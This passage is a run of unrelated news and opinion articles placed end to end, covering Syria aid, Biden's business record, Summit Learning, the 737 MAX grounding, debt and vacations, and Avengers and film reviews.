negotiated agreement for the first time in its history, showing a significant change in approach "Bill Donohue, in addition to his crusading work defending religious rights as head of the Catholic League, is a brilliant social scientist. Here his gifts are on full display. In this important book he reveals how we can all apply the common sense wisdom of Catholicism to our daily lives and remedy our current cultural crisis." Raymond Arroyo, New York Times Best-Selling Author, Fox News Contributor, The World Over Host "In this rousing defense of common sense and the Catholic intellectual tradition, celebrated social scientist William Donohue exposes the perils of a society in thrall to ideologically driven academics and points the way back to sanity and human flourishing." Thomas Williams, Ph.D., Theologian, Best-Selling Author, Breitbart News Rome Bureau Chief "Bill Donohue has a well-earned reputation as a vigorous defender of Catholicism, but he is also an astute critic of crackbrained policies in conflict with the good of individuals and society. In Common Sense Catholicism Donohue brings together both roles in a forceful analysis of confused thinking about human freedom as it applies to everything from sex to economics. This well-reasoned and accessible study shows that the woes plaguing our society can be cured only by returning to the common sense reading of human nature embodied in the Catholic social tradition and the worldview of the American founders." Russell Shaw, Author, American Church and Catholics in America "In the absence of common sense, inhuman and cruel ideologies that are spread through brainwashing, coercion, and even violence rise up to fill the void. Bill Donahue identifies the causes and the outcomes of the growth in our society of preposterous systems of thought that dehumanize us. The remedy he proposes for societal and personal flourishing is a renewed embrace of the social teaching of the Catholic faith and the natural law philosophy that underlies that teaching." Fr. Gerald Murray, Pastor, Holy Family Church, New York; Member of EWTN's Papal Posse Imperial Valley News Center Delivery of Humanitarian Assistance to Rukban Washington, DC - The United States is appalled by the Assad regimes decision to reject the UN request to deliver a convoy of urgently needed humanitarian aid from Damascus to the Rukban encampment. We remain deeply concerned about the deteriorating humanitarian situation in Rukban, especially as the Holy Month of Ramadan is about to begin. We urge the Assad regime and Russia to permit deliveries of international humanitarian assistance from Damascus and stop blocking commercial routes to the encampment immediately in order avert further suffering. The United States condemns any attempt to prevent the UN from delivering humanitarian aid. Most of the residents in the Rukban encampment are women and children. Some have not eaten a meal for days because of the lack of UN access and basic food supplies. It is critical that the UN have unhindered and consistent humanitarian access to those located within the encampment and all vulnerable populations throughout Syria in accordance with UN Security Council Resolution 2449. Any process to facilitate departures from Rukban should ensure that movements are safe, voluntary, dignified, and coordinated with UN agencies. Such decisions cannot be made safely and voluntarily in conditions of severe deprivation. The United States has not and does not impede the movement of IDPs wishing to leave the encampment. The United States is the largest single donor for the Syria response, providing more than $9.5 billion in humanitarian assistance for those affected by the conflict inside Syria and throughout the region since the start of the crisis. We remain committed to getting life-saving support to all Syrians affected by conflict. Updated on August 21 to reflect Biden's nomination for U.S. President in the 2020 election. You know Joe Biden. Before his nomination as the Democratic candidate for U.S. President--which he officially accepted on Thursday--he served as the Vice President under Barack Obama from 2009 to 2017, and before that, he spent 36 years in Congress as a Senator from Delaware. He was also a county councilman in New Castle. He has effectively lived his life--almost the entirety of it--in the public eye. But what you may not know is Biden, prior to his political career, was an entrepreneur. After graduating from Syracuse University's College of Law in 1968, he worked as a trial lawyer in Wilmington, Delaware. In 1970, he went on to found his own practice, Biden and Walsh, which is today called Monzack and Monaco. His now deceased son Beau worked at the same law firm his father founded. To supplement his income, the senior Biden also managed properties, which reportedly included a neighborhood swimming pool. What else you may not know? Inc.'s review of his legislative record reveals that just a handful of bills directly affected entrepreneurs and their businesses. Of the 42 bills he sponsored that were enacted, none had had an obvious connection to small businesses. And of the 491 bills he sponsored but did not receive approval, just a few have a pro-entrepreneur, pro-small business bent. There's the Anticounterfeiting Amendments of 2002, which called for punishing counterfeiters and preventing piracy. The International Clean Development Technology Fund Act, which would have provided funding for the deployment of emissions-curbing technologies around the world, was also sponsored by Biden and introduced in 2008, but never enacted. To be sure, Biden has made many pro-small business comments during his political career. After meeting with several tech CEOs while serving as Vice President, he raised the alarm for improved skills training in America's schools. Faced with a derth of qualified talent in the U.S. many tech companies today attempt to employ foreign workers by way of the H-1B visa program, through which highly skilled workers may work temporarily in the U.S. Additional skills training in school, he said, can help Americans better access higher-paying tech jobs--and help employers tap into more qualified labor pools. And for companies that employ Dreamers--those who came the U.S. as children but weren't born in America--Biden would most likely favor the Deferred Action for Childhood Arrivals program, according to his public comments. He has called the rescission of the DACA program, which defers the deportation of Dreamers, "cruel" and "inhumane." He has also criticized President Trump's call for a southern border wall. Though, while in the Senate, he voted for the Secure Fence Act of 2006 to fund the construction of fencing along the U.S.-Mexico border. While his record doesn't showcase much in the way of small business support, he has positioned himself as a strident supporter of workers, with progressive views on minimum wage, fair pay, and free college education. Biden has been stumping for a $15 an hour federal minimum wage since 2015, even when the Obama White House was pushing for $12. He's said in speeches that the increase will help reduce income inequality, boost the economy, and improve workplace stability. Additionally, Biden's speeches since leaving office have focused on lifting the middle class. He supports a "pro-growth, progressive tax code that treats workers as job creators, not just investors," he said during a 2018 speech on improving the strength of the middle class at the Washington-based nonpartisan think tank the Brookings Institution. Biden has also spoken about banning non-compete clauses to bolster the opportunities for workers to seek fair pay. "Give me an economic reason why a sandwich maker has to sign a non-compete clause," Biden said at Brookings. "Tell me, other than to drive down wages, why you're not allowed to tell the man or woman next to you what you make without violating a contract. I call it greed." Update: This column has been updated to include responses from Summit Learning and a correction. I have seen some truly dumb ideas in my life but nothing this abysmally stupid. Apparently, some cash-strapped public schools are now using "free" software to turn classrooms into open plan offices. Summit Learning is a free educational program, funded in part by the Chan Zuckerberg Initiative, a philanthropic effort founded in 2015 by Mark Zuckerberg and his wife Priscilla Chan to offer grants to worthy organizations. Summit's goal is to provide teachers and schools with resources to bring personalized learning into their classrooms. In a blog post, the company says students using Summit don't even spend half their day on the platform. As described by The New York Times: Students use "laptops and go online for lesson plans and quizzes, which they complete at their own pace. Teachers assist students with the work, hold mentoring sessions and lead special projects. The system is free to schools. The laptops are typically bought separately." There are three reasons why this idea is so astronomically dumb: 1. It puts children's privacy at risk. "Summit demands an extraordinary amount of personal information about each student and plans to track them through college and beyond," according to Leonie Haimson, co-chairwoman of the Parent Coalition for Student Privacy, as quoted in The New York Times. Summit says it complies with Children's Online Privacy Protection Act, which only covers children under age 13. "Summit Learning is deeply committed to protecting students' personal information," according to a Summit spokesperson, who notes that the company has signed the Student Privacy Pledge, which is a legally binding commitment aimed at safeguarding student privacy. "We have a strong privacy policy set for all of the service providers supporting the operation and development of the Summit Learning Platform." The problem here is that Silicon Valley culture--the source of Summit's ideas about education--is full of privacy promises that are either bogus or not kept due to cyber-security breaches. Facebook, for example, has been guilty of the both. 2. Computers can't teach. In a recent study, even Stanford University, which you'd think would be rah-rah on computers in the classroom, showed that computers in the classroom have a "null effect." The same study showed that use of computers to practice skills--Summit's raison d'etre--has "negative effects" on student achievement. According to Facebook CEO Mark Zuckerberg, Summit is intended to help "meet the student's individual needs and interests [and] frees up time for teachers to do what they do best -- mentor students." While that sounds high-minded, it's actually nonsense. Teachers aren't supposed to be mentors; they're supposed to teach. And teaching is a highly skilled profession that takes years of college and extensive experience to do well. To rhetorically reduce teaching to mere mentoring is frankly disrespectful. Zuckerberg's statement is also disgusting and hypocritical, considering that Zuckerberg famously doesn't allow his own children to use consumer electronics. I doubt seriously whether Zuckerberg is sending his kids to a school where they'd stare at a screen for even part of the day. 3. It turns classrooms into open-plan offices. In a classroom using Summit, students sitting in front of screens can see other people's screens and hear other people talking as they work on various group projects. If this sounds familiar, it's because it replicates the open-plan office. Just as you'd expect, students subjected to Summit surface the same complaints made by office workers who are subjected to open plan. According to The New York Times, students in one Kansas school complained of headaches and anxiety as the result of staring at a screen all day. One student resorted to bringing in hunting earmuffs to muffle the sounds of conversation. He probably chose earmuffs because, unlike workers, students aren't allowed to use noise-canceling headsets and listen to music. So it's open-plan, but worse. The stress and anxiety from noise pollution and visual pollution--inherent in this type of environment--can result in major health problems. What's more, working in an open-plan office--especially trying to use computers to learn something--makes some students miserable. In a school district survey of the Kansas school's parents, which the Times cites, it was revealed that 77 percent of respondents didn't want their children to be in a Summit classroom, while more than 80 percent said their children had "expressed concerns." In Brooklyn, exasperated high school students staged a walkout to protest Summit. Summit points out that a separate survey of parents from the Wellington, Kansas school district indicated 80 percent of "stakeholders" had a positive experience with the program. In addition, a survey taken in March 2019 of 1,700 teachers in Summit, 95 percent said the program had a positive impact on students' experience, and 94 percent said the program has helped them improve as teachers. While the jury is still out, this kind of embrace of technology in schools may lead to some unintended consequences--namely, killing the goose that laid the golden egg, the goose being the public school system that educated 99 percent of this country's innovators. Dumb. So very, very dumb. Southwest Airlines has had a long love affair with the Boeing 737 aircraft. In fact, the airline's extremely successful business model was built around the 737. It's currently the only plane Southwest flies, which makes training, maintenance, and operations less costly than airlines that fly a variety of different aircraft. It's no secret, however, that this love affair is being tested with the ongoing grounding of Southwest's fleet of 34 Boeing 737 MAX planes (United Airlines has 14 and American Airlines has 24). Yesterday, Southwest CEO Gary Kelly revealed that the 737 might not be its forever plane despite their almost 50-year-long relationship. In an interview on CNBC yesterday, Gary Kelly said, The [737] MAX is a small percentage of our fleet, fortunately, and our folks have worked very, very hard to manage through that. So, my hat's off to 'em--they did a great job. When host Jim Kramer asked Gary Kelly if the company might ask for reparations from Boeing for the financial damage the airline has suffered due to the grounding of the 737 MAX, Kelly made this surprising statement: Well, yeah, we're an all-Boeing carrier. We're an all-Boeing 737 carrier. So, that's who we are, that's where we are. That doesn't mean that we'll be an all-737 carrier into perpetuity. But that's certainly where we are right now. Southwest CEO Gary Kelly went on to say that his company's negotiations and relationship with Boeing was something he would take up with the aircraft manufacturer privately. Continued Kelly, We have a great, historic partnership with that company, and I would expect that would continue going forward. But, yeah--we've got to work through this MAX issue. When we launched the MAX airplane, we felt like it was the best single-aisle airplane in the world, and we still feel that way. In a presentation to a Dallas business group last week, Gary Kelly said that Southwest had no plans to change its order with Boeing for more than 200 additional 737 MAX airplanes. However, it was widely reported that a Southwest team recently visited a European airline to take a closer look at their Airbus A220 aircraft. Kelly reportedly said that the timing was "coincidental." But, the question remains: will Southwest's customers want to fly on these airplanes once they're back in the air, or will they seek out other airlines to avoid them? As another year marked by the global pandemic comes to an end, our photojournalists remain challenged and, frequently, awed - by the constant state of change. We documented our ever-evolving world in ways few photo staffs could as we all worked to regain normalcy amid COVID-19s seemingly unbreakable hold on our communities. We showed the relieved faces of people receiving a coveted vaccine, telling the story of a scientific breakthrough with images of those benefitting from it. We covered new workplace policies, school protocols and policing practices. We traveled half-way across the world to an Olympics where the athletes couldnt hug each other, masked medalists step atop the podium and no one came to watch. The Chicago Tribune faced its own series of changes, too. We have new owners. New bosses. Endured another move. Gained new talented journalists and lost many others from the newsroom ranks. The one constant has been our dedication to providing photography on a daily basis that is relevant to the communities we cover: The joy of picnicking at the lakefront on a summer afternoon, the pain of children, police officers and neighbors all falling victims to violent crime. Documenting whos in and whos out in the political landscape, escaping to your favorite cultural event or sports competition. We hope this installment of the annual Photos of the Year project reminds us of the moments that shaped our lives and the thoughtful way we portray them. Its also a platform for acknowledging the talent and dedication of Tribune photographers, and all photojournalists, who make change a way of life. The Chicago Tribune staff photographers for 2021: Brian Cassella, Erin Hooley, Terrence Antonio James, Vashon Jordan Jr., John J. Kim, Youngrae Kim, Jose M. Osorio, Antonio Perez, Armando L. Sanchez, Chris Sweda, Abel Uribe, E. Jason Wambsgans, Stacey Wescott and Raquel Zaldivar. Tribune visual editors: Mark Hume, Andrew Johnston, Marianne Mather, Steve Rosenberg and Peter Tsai. - Todd Panagopoulos, Director of Content/Visuals It's no secret that the crashes of two Boeing 737 MAX aircraft have put the U.S. airline industry in a tailspin. In the wake of the tragic crashes of Lion Air Flight 610 and Ethiopian Airlines Flight 302--killing all 346 passengers and crew onboard--the FAA grounded the 737 MAX on March 13, 2019. The airlines that have the 737 MAX in their fleets are feeling the pain of this grounding, losing millions of dollars. In the case of American Airlines alone, 115 flights are being canceled each day due to the Boeing 737 MAX fiasco. United and Southwest have also had to cancel numerous flights each day. Yesterday, in a CNBC interview, United Airlines CEO Oscar Munoz explained that he personally doesn't know when Boeing will develop a fix that will get the grounded 737 MAX aircraft back in the air. Said Munoz, We do not know yet, safety is by far you will hear me repeat this constantly as all of us will. It is the most important part of it. So right now it [July] is our best projection and I think everyone has their own. So we really have no sense of it at this point in time. Unfortunately, that fix--which was expected to be developed quickly--was recently delayed by Boeing. According to an FAA statement, The FAA expects to receive Boeing's final package of its software enhancement over the coming weeks for FAA approval. Time is needed for additional work by Boeing as the result of an ongoing review of the 737 MAX Flight Control System to ensure that Boeing has identified and appropriately addressed all pertinent issues. Of course, there's no guarantee that the fix will actually arrive on its new schedule, or that it will work to the FAA's satisfaction, much less the satisfaction of regulators in other countries. It now appears the fixes won't be fully tested and approved before summer. "We are not letting our customers and our employees on an aircraft we don't find safe," United Airlines CEO Oscar Munoz said he doesn't know when Boeing's grounded 737 Max jets will fly again. https://t.co/tpgVik9WAV pic.twitter.com/JQrtVHldvq -- CNBC (@CNBC) April 25, 2019 Oscar Munoz is optimistic that a fix won't be long in coming, but that its rollout will need to be coordinated worldwide. Said Munoz in the CNBC interview, I think it is important when we return this aircraft to flight that we do it in relative unison and lockstep around not just the U.S. but the world. I think that is an important part of it so we need to monitor and engage that. Of course, safety is United's first priority. Continued Munoz, We are not letting our customers and our employees on an aircraft that we don't find safe. And so, we will have to reassure them. And if people do have concerns we will always take care of our customers in some way. Vacations are odd things for Americans. Even as we crave and dream about them, we still feel culturally pressured not to take them. But do you deserve one if you have debt? In an article for the Washington Post, columnist Michelle Singletary asserts that you don't. "I'm sorry to tell you that you don't deserve a summer vacation if you're a financial hot mess," writes Singletary. "I'm not saying you shouldn't enjoy your vacation time. Take your time off. Relax. But you don't have to go away." On the one hand, I completely get where Singletary is coming from. My own family always had to count pennies. And while my parents never explicitly told me debt was a no-no, I did come to understand through their financial behavior that you shouldn't borrow without a clear plan to pay the money back. I learned also that, ethically, promises to lenders mean something, and that spending for wants now can erase your ability to cover needs later. So in the sense that it's in your best interests to be prudent with your purse strings, I absolutely agree. But "deserve" is a word with a deep connotation of fairness. And the reality is, debt isn't always the product of irresponsibility, which Singletary simply doesn't address. Entrepreneurs take on debt all the time to get ventures off the ground or support a career shift. But they do so knowing the risk-benefit ratio, and there is such a thing as good debt that ultimately will yield income. If you make sensible agreements, it can be perfectly plausible to pay for a jaunt while also paying down these obligations. And of course, there's the unexpected. You can work hard and follow every financial rule your whole life, and you still can get sucked into debt with just one hospital stay. About 1 out of every 4 people (26 percent) say they have trouble paying medical bills, and 61 percent of those who've had problems paying medical bills say they either just meet their basic expenses (43 percent) or don't have enough to meet basic expenses (18 percent). You can't always foresee a layoff, and you don't necessarily see your paycheck go up just because your landlord ups the rent. You need an hourly wage of $22.10 to afford a modest two-bedroom now, according to a recent report from the National Low Income Housing Coalition's annual "Out of Reach" report. Yet the average hourly wage of U.S. renters stands at $16.88. It's often those kinds of situations -- not just too many Amazon sprees --that lead to people needing to carry credit card balances for years. Is it fair that those situations should rob you of the chance to have experiences that can deeply enrich your life and change your entire perspective? To tell someone with this kind of debt, which they might never get out of, that they don't deserve a break is an incredible insult. It points a finger at victims and plays into the current workplace bias that the poor are where they are because of bad choices or a lack of intelligence or competence. And can you have fun on a staycation around town? Absolutely! But I hate to break it to you. The local water park isn't a trip to the Louvre or seeing the colors of the Grand Canyon. It's not flying on a plane for the first time or being able to haggle in a Tibetan market. An apple will never be a substitute for a banana. The problem with Singletary's statement isn't the concept of being financially self-accountable. That's golden. It's the underlying implication that experience isn't an innate right, that somehow you lose your entitlement to it the minute money troubles hit, and that you're always the problem if they do. If you choose to give up your right to experiences by mismanaging your funds, that's one issue. But if you have mismanaged nothing, if you have negative accounts that truly will transform into wealth, or if you have been dealt coal when diamonds are due, then your right is intact. You still deserve experiences, even if you're logistically held back from claiming them by flawed systems. Avengers: Endgame is officially in theatres, which means fans of the superhero movies are finally finding out whether their favourite characters live or die. Perhaps more importantly, early viewers of the movie have also figured out which moments in the film are best for taking bathroom breaks. At three hours and 58 seconds, Endgame is the longest movie in the Marvel Cinematic Universe (MCU), meaning moviegoers will likely have to take a quick break or two. Fortunately for those who have yet to see the three-hour movie, viewers have shared their handy tips online for when you can use the bathroom and avoid missing anything important. In some countries, such as Italy, Israel and Egypt, theatres are stopping the film for intermission around the hour-and-a-half mark, according to people on social media, which provides the perfect opportunity to run to the restroom. Avengers characters - ranked Show all 27 1 /27 Avengers characters - ranked Avengers characters - ranked 27. War Machine Played by: Don Cheadle Don Cheadle Imagine Iron Man but without a backstory or humour. That's War Machine. Terrence Howard saw that the character would be underwritten and dropped out after filming the first Iron Man. Still, it's hard to dislike Don Cheadle, even when he's shortchanged. Walt Disney Studios Motion Pictures Avengers characters - ranked 26. Mantis Played by: Pom Klementieff Pom Klementieff The forgettable Mantis is purely there to make up the numbers. It doesn't help that she was introduced in Guardians of the Galaxy Vol 2, one of the MCU's weakest films to date, as the servant to Kurt Russell's tedious villain, Ego. In a crowded ensemble, Mantis is drowned out by the larger personalities. Walt Disney Studios Motion Pictures Avengers characters - ranked 25. Hawkeye Played by: Jeremy Renner Jeremy Renner "Oh no! It's a man with no superpowers and a bow and arrow! I, an alien with futuristic technology who has travelled through the galaxy to invade Earth, am terrified!" Thanos's army of Outriders, probably. Walt Disney Studios Motion Pictures Avengers characters - ranked 24. Doctor Strange Played by: Benedict Cumberbatch Benedict Cumberbatch Oh, Doctor Strange. Perhaps there's a good character there, but Benedict Cumberbatch wasn't the man to play him. He's probably the least likeable presence in the MCU, even if a few kick-ass moments in Avengers: Endgame almost pull him back from the brink. Walt Disney Studios Motion Pictures Avengers characters - ranked 23. Gamora Played by: Zoe Saldana Zoe Saldana Although the father-daughter relationship between Gamora and Thanos is interesting, it's completely overshadowed by the dynamic between her half-sister Nebula and the Mad Titan. And now she's AWOL. Perhaps. No one really knows. Walt Disney Studios Motion Pictures Avengers characters - ranked 22. Star-Lord Played by: Chris Pratt Chris Pratt Star-Lord the half-man, half-Celestial remains one of the funniest Marvel characters to date. Yet, the Avengers would have saved the universe the first time around if it weren't for his (quite understandable) temper tantrum over the death of Gamora in Infinity War. For that, the leader of Guardian of the Galaxy falls many places. Walt Disney Studios Motion Pictures Avengers characters - ranked 21. Nebula Played by: Karen Gillan Karen Gillan Nebula has all the makings of being a vintage Marvel character, but the feeling that she's been slightly short-changed by her appearances to date cannot be escaped. Going forward, she'll undoubtedly have an elevated role in the MCU, so here's hoping she's handed the justice she deserves. Walt Disney Studios Motion Pictures Avengers characters - ranked 20. The Winter Soldier Played by: Sebastian Stan Sebastian Stan Sebastian Stan's Bucky was a bit of a non-entity in the otherwise underrated Captain America: The First Avenger, which is why his do-over as the villainous Winter Soldier in the sequel three years later injected the character with some much-needed intrigue. His shift back to being a good guy, though, has dampened the interest around him once again. Still, that teased romance with Shuri (Letitia Wright) is sure to do him some favours. Walt Disney Studios Motion Pictures Avengers characters - ranked 19. Vision Played by: Paul Bettany Paul Bettany Vision is the purple embodiment of Tony Stark's AI butler JARVIS, brought to life by the Mind Stone. One of the only other characters capable of wielding Thor's hammer (oi oi, Cap!), Vision is overpowered to the point of being boring. Still, he doesn't know his paprika from his cayenne. Walt Disney Studios Motion Pictures Avengers characters - ranked 18. The Wasp Played by: Evangeline Lilly Evangeline Lilly Sidelined during the first Ant-Man, The Wasp finally became a headline name in Ant-Man and the Wasp. Not only is she smarter, quicker and a better fighter than Ant-Man, she can also fly thanks to a set of wings. Fingers crossed we'll be getting more Wasp post-Endgame. Walt Disney Studios Motion Pictures Avengers characters - ranked 17. Falcon Played by: Anthony Mackie Anthony Mackie There's no two ways about it: if Falcon wasn't played by Anthony Mackie, he'd be far lower down this list. His character remains memorable solely due to the vibrancy the ever-entertaining actor brings to the role. Falcon might be a lesser Avenger, but no appearance since his debut in Captain America: The Winter Soldier has left fans wanting more. For that, Falcon should be celebrated. Walt Disney Studios Motion Pictures Avengers characters - ranked 16. Captain Marvel Played by: Brie Larson Brie Larson There's no doubt that Captain Marvel could become one of the best characters in the MCU. Fresh off her billion dollar-grossing debut the series's first female-led superhero film the character returned to save the day (well, help the crew out) in Avengers: Endgame. Now her origin story is out of the way, the sky's the limit for her; it'll be exciting to see which planets her story scales next. Walt Disney Studios Motion Pictures Avengers characters - ranked 15. Groot Played by: Vin Diesel Vin Diesel To be quite honest, it's hard to screw up a character who is literally a tree that's able to speak just one word (his name). There's no denying that Vin Diesel's Groot was one of the best things about the first Guardians of the Galaxy film, and his camaraderie with Rocket Raccoon a highlight. Sadly, being turned into a baby for the entirety of the sequel made his character slightly more annoying. Walt Disney Studios Motion Pictures Avengers characters - ranked 14. Valkyrie Played by: Tessa Thompson Tessa Thompson Introduced in Thor: Ragnarok, Tessa Thompson's Valkyrie has the swagger of Han Solo and the powers of Wonder Woman. The result is probably the coolest and smoothest Avenger yet, and someone we very much look forward to seeing again in Thor: Love and Thunder. Walt Disney Studios Motion Pictures Avengers characters - ranked 13. Hulk Played by: Mark Ruffalo Mark Ruffalo The Hulk was originally played by Edward Norton, but Mark Ruffalo took over for the Avengers films. The actor brought out a manic unpredictability to the character, who remains a skittish presence in every film. Since the first Avengers outing, though, Bruce Banner/Hulk has been less integral to the team. Walt Disney Studios Motion Pictures Avengers characters - ranked 12. Black Widow Played by: Scarlett Johansson Scarlett Johansson Black Widow has had a rough ride. Introduced during Iron Man 2, Scarlett Johansson's agent was a fierce fighter with an intriguing back story. However, this has rarely been explored since, with the Avengers films focusing on the lads rather than the one female character in the team. Almost 20 Marvel films on and the character is finally getting a solo film but it's a prequel film arriving after her death in Endgame that's been delayed because of coronavirus. Ouch. Walt Disney Studios Motion Pictures Avengers characters - ranked 11. Shuri Played by: Letitia Wright Letitia Wright One of Black Panther's biggest revelations was Shuri, T'Challa's kid sister who might just be the cleverest character in the entire MCU. She's brought to life by British actor Letitia Wright, who capitalised on the several opportunities she had to steal the film from under her co-stars' noses. Great, another broken white boy for us to fix," she says as Martin Freeman's Everett Ross is carted into her workshop and thus, a star was born. Walt Disney Studios Motion Pictures Avengers characters - ranked 10. Scarlet Witch Played by: Elizabeth Olsen Elizabeth Olsen Scarlet Witch doesn't really do much save for wave her hands around while looking concerned about the well-being of her love, Vision (Paul Bettany) but it doesn't matter considered she's played by the the extremely talented Elizabeth Olsen who, as ever, gives it an admirable stab. Walt Disney Studios Motion Pictures Avengers characters - ranked 9. Captain America Played by: Chris Evans Chris Evans On paper, Captain America should be the most boring Avenger. Yet, with Chris Evans at the wheel, the patriotic super-strong OAP who fought in the Second World War has been enjoyable company in every film he's been in, his righteous values never being too overbearing. Captain America, with his pure heart, really is one of the ultimate superheroes. Walt Disney Studios Motion Pictures Avengers characters - ranked 8. Iron Man Played by: Robert Downey Jr Robert Downey Jr The leader of the MCU used to be its greatest character. But with the influx of newer additions, Tony Stark has been pushed down that list which isn't to say he isn't still a reason why the series has been such a success. No Marvel actor has thrown themselves into a role more than Robert Downey Jr, whose larger-than-life personality made him the only candidate to have brought the billionaire industrialist and former playboy to screen. Among the big-budget explosions, he's a breath of fresh air and without him, the MCU would have run out of steam long ago. Walt Disney Studios Motion Pictures Avengers characters - ranked 7. Ant-Man Played by: Paul Rudd Paul Rudd A man who presses a button and takes on the powers of an ant: not exactly a thrilling premise for a superhero. Thankfully, Marvel accepted that Ant-Man's power are a bit of a joke and cast the ever-delightful comic actor Paul Rudd as the mini-hero. And despite his stature, Ant-Man stole the show in Captain America: Civil War when he reversed his powers and became Giant Man. Walt Disney Studios Motion Pictures Avengers characters - ranked 6. Rocket Played by: Bradley Cooper Bradley Cooper In many ways, the success of Guardians of the Galaxy Marvel's first true move away from the cleaner cut Avengers (see: Captan America, Thor) rested on the shoulders of Rocket Raccoon. Many questioned whether it'd work, but thanks to impressive effects, Bradley Cooper's terrific voice work and not to mention James Gunn's knockout screenplay Rocket found himself with more range than most characters on this list. Walt Disney Studios Motion Pictures Avengers characters - ranked 5. Black Panther Played by: Chadwick Boseman Chadwick Boseman Few characters have had the cultural impact of Boseman's Black Panther. First appearing in Captain America: Civil War, T'Challa's measured demeanour was a counter to the quip-making norm of the other Avengers. Come the character's solo film, the noble leader finally accepted his role as King of Wakanda and, in the process, unleashed the inner Panther. It's no wonder that the film became a box-office sensation, even out-grossing Avengers: Infinity War (2018) in the United States. Walt Disney Studios Motion Pictures Avengers characters - ranked 4. Drax Played by: Dave Bautista Dave Bautista Drax is proof that you shouldn't judge a book by its cover. His burly appearance suggests he should be fighting for the bad guys, but the opposite couldn't be truer thanks to Dave Bautista, the character is given a cuddly sheen that belies his full name (Drax the Destroyer). The only thing Drax, who first appeared in Guardians of the Galaxy, truly destroys is your rib cage he's one of the MCU's funniest characters. Walt Disney Studios Motion Pictures Avengers characters - ranked 3. Spider-Man Played by: Tom Holland Tom Holland Spider-Man's back. Again again. Where Tobey Maguire's webslinger was an out-and-out dork, and Andrew Garfield's version was arguably too slick to really be Peter Parker, Tom Holland has found the perfect middle ground: still obsessed with making Star Wars references yet also capable of talking coherently with members of the opposite sex. It's a miracle that Marvel Studios managed to bring Spider-Man into their cinematic universe and a miracle they managed to make him feel this fresh third time around. Walt Disney Studios Motion Pictures Avengers characters - ranked 2. Okoye Played by: Danai Gurira Danai Gurira Black Panther was a landmark moment for cinema, let alone Marvel. It was a film filled with selling points the lustrous visuals of Wakanda; a villain you actually cared about but sitting at the top of the heap was Okoye. The Walking Dead star Danai Gurira swapped the katana for a vibranium spear and showed audiences that not only was she more than just television character Michonne, she could translate a comic book character into one of the very best characters in the Marvel Cinematic Universe. Walt Disney Studios Motion Pictures Avengers characters - ranked 1. Thor Played by: Chris Hemsworth Chris Hemsworth Thor was not a great film. Thor: The Dark World was even worse. Yet, against all odds, the God of Thunder has established himself as the greatest Avenger. How? It's namely thanks to Taika Waititi's revisioning of the character in Thor: Ragnarok. Rather than making Hemsworth deliver sub-par Shakespearean prose, the filmmaker enthused Thor with a sense of humour something that played to Hemsworth's strength as an actor. The result was a charismatic, short-haired, smouldering superhero who was finally able to charm Marvel fans. If only Thor had been this way all along. Walt Disney Studios Motion Pictures But for American audiences, who wont have an intermission, these are the best spoiler-free times to go to the bathroom. According to CNET, there are various moments during the first hour of the film that provide viewers a chance to leave without missing anything huge. The first bathroom-appropriate scene is when the San Francisco title card comes on, according to the news outlet, followed next by the Hulk having lunch, roughly an hour into the film. If youve managed to hold it until then, the segment when the New Jersey title card comes on screen is your last opportunity to go, according to CNET. Access unlimited streaming of movies and TV shows with Amazon Prime Video Sign up now for a 30-day free trial Sign up In addition to outlining the best times to go relieve yourself, the outlet also warned viewers not to go to the bathroom during the last hour of the film - as chances are you will miss something important. Support free-thinking journalism and attend Independent events Or, Marvel fans could also follow Ant-Man actor Paul Rudds advice of getting a one of those giant tubs of popcorn and then just like lowering it under the seat Thirteen-year-old Kayla the awkward, anxious protagonist of Eighth Grade is lying on her bed trying to take a perfect selfie. As shes mid-pose, an Instagram message pops up from her cooler classmate, Kennedy. Hi, so my mom said to invite you to my thing tomorrow, reads the message, so this is me doing that. This is me doing that. A lesser film than this would have made more explicit the casual cruelty of Kennedys message. Perhaps she would have warned Kayla (Elsie Fisher) not to threaten her social ranking by showing up to the pool party. Or berated her mother for suggesting she invite her. But Eighth Grade, the feature debut from comedian and former YouTube star Bo Burnham, has a different mission: to capture the thoroughly uncinematic, daily micro-embarrassments of being a teenage girl. I grew up in a different world to Kayla. An introvert-in-denial, she spends her time scrolling passively through Instagram, Buzzfeed, and Tumblr, and uploading painfully earnest videos to YouTube on topics she knows very little about, like Being Yourself. When I was her age, social media was present but embryonic (ranking friends on Bebo was the craze du jour), YouTube was just a few months old, and smart phones were a few years off. But the film resonated with me. Most teenage girls, just like Kayla, feel constantly on the brink of humiliation. And although few of us actually end up covered in pigs blood, a la Carrie, the reality can be far more horrifying. It is as Eighth Grade so excruciatingly depicts a bored, disparaging glance up from a phone. Its a loaded silence after the opening of a misjudged birthday gift. Its mangling your words when a crush walks into the room, or being forced to the front of a group photo nobody really wants you in. Mean girls are more often passively dismissive than malevolent. In short, being a teenage girl is far worse, better, sadder, funnier, uglier and more beautiful than Hollywood has made out. Best films of 2019 (so far) Show all 49 1 /49 Best films of 2019 (so far) Best films of 2019 (so far) The Favourite Macabre and fraught though The Favourite gets, this isnt so much a film about sex or power as it is about plain mischief. Its a hilarious, buffoonish pleasure, right down to the sets and costume design, and a breeze to spend 120 minutes with. Christopher Hooton Fox Searchlight Pictures Best films of 2019 (so far) Beautiful Boy Casting Chalamet as Nic was a very clever move. The young actor from Call Me by Your Name and Lady Bird has a natural charm and charisma. He still engages an audiences curiosity and sympathy even when his behaviour is at its most selfish and erratic. Geoffrey Macnab Amazon Studios Best films of 2019 (so far) The House by the Sea Guediguians storytelling style is deceptive. At first, it seems as if this is low-key social realism in the Dardennes or Ken Loach mould, albeit set on the French Riviera. Gradually, though, we realise how stylised and theatrical his approach really is. Geoffrey Macnab Best films of 2019 (so far) Stan & Ollie Director Jon S Baird, whose previous film was scabrous Irvine Welsh adaptation Filth, wrings every last drop of pathos he can from his material. This is very much a case of the tears of the clowns. Geoffrey Macnab Entertainment One Best films of 2019 (so far) Vice Vice is bravura storytelling. McKay isnt only taking us through Cheneys life and career but is giving us a whistle stop tour through US politics from the Nixon administration almost right to the present day. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) Can You Ever Forgive Me? Playing Lee Israel, McCarthy manages something very special: she makes a character who is odd, obnoxious, difficult and alcoholic seem lovable and even heroic. The rest of the world is at fault, not Lee. Geoffrey Macnab Fox Searchlight Pictures Best films of 2019 (so far) Green Book "Green Book flatters the audience about its own good sense and tolerance. It deals with racism and homophobia but still has a fairytale, fantasy feel to it. Whatever humiliations Don endures on their road trip, we know no real harm will ever come to him as long as Tony is at his side. Geoffrey Macnab Universal Pictures Best films of 2019 (so far) Velvet Buzzsaw The golden age of bonkers horror movies is gloriously evoked by Netflixs latest feature length presentation. Beginning as a satire of the arts world, 